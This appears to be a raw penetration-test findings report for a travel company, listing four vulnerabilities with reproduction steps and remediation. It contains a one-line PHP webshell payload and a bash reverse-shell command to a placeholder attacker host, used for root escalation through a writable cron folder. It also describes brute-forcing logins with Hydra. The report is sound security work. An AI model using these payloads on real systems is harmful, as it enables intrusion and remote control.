**TripPlanner Ltd - Raw Findings Report**

**Client:** TripPlanner Ltd  
**Test Type:** Grey Box Penetration Test  
**Test Date:** 24–28 July 2025  
**Team Lead:** SageSecOps  
**Report Version:** v1.0

**🔍 Vulnerability 1: Unauthenticated File Upload (CMS)**

* **Risk Level:** Critical
* **Location:** https://admin.tripplanner.io/uploads.php
* **Description:** The internal CMS allowed unauthenticated users to upload .php files disguised as images. No MIME type or extension validation.
* **Reproduction Steps:**
  1. Intercept request with Burp Suite.
  2. Replace image with webshell.php.jpg.
  3. Upload successful – accessible via direct URL.
  4. Shell access confirmed.
* **Evidence:** /uploads/webshell.php.jpg executed payload: <?php system($\_GET['cmd']); ?>
* **Remediation:**
  1. Enforce strict file validation
  2. Block .php, .asp, .jsp extensions
  3. Set proper upload folder permissions

**🐚 Vulnerability 2: Misconfigured Cron Job (Privilege Escalation)**

* **Risk Level:** High
* **Location:** /etc/cron.d/backup-db
* **Description:** Cron job runs every 5 minutes as root and reads from user-writable directory.
* **Exploitation:**
  + Drop reverse shell script in cron-read folder
  + Get root shell on trigger
* **Command Used:**

echo "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1" > /cron-read/evil.sh

* **Remediation:**
  + Remove write permissions from cron job source folder
  + Use non-root users for automation

**🕵️‍♂️ Vulnerability 3: Login Brute Force (Customer Portal)**

* **Risk Level:** Medium
* **Location:** https://tripplanner.io/login
* **Description:** No rate limiting or CAPTCHA. Account lockout absent.
* **Tools Used:** Hydra
* **Result:** 8 valid user credentials recovered within 12 minutes.
* **Remediation:**
  + Implement CAPTCHA after 3 failed attempts
  + Lock account for 15 minutes after 5 failed tries
  + Enable 2FA

**📄 Vulnerability 4: Verbose Error Messaging (API Gateway)**

* **Risk Level:** Low
* **Location:** https://api.tripplanner.io/v2/search
* **Description:** Error messages reveal internal table structure: "SQL syntax error near 'FROM bookings WHERE date=' at line 1"
* **Remediation:**
  + Return generic messages to client (e.g. "Request failed")
  + Log detailed errors only server-side

**✅ Tested Hosts**

* tripplanner.io
* admin.tripplanner.io
* api.tripplanner.io
* Internal IPs: 10.1.10.10, 10.1.10.25

**🧰 Tools Used**

* Burp Suite Pro
* Nmap
* Metasploit
* Hydra
* CherryTree (note taking)
* LinPEAS (post-exploitation enumeration)

**📌 Notes**

* All tests were performed with TripPlanner’s written authorization
* No data was exfiltrated
* Backdoors and shells were cleaned post-test
* Logs submitted to IT security team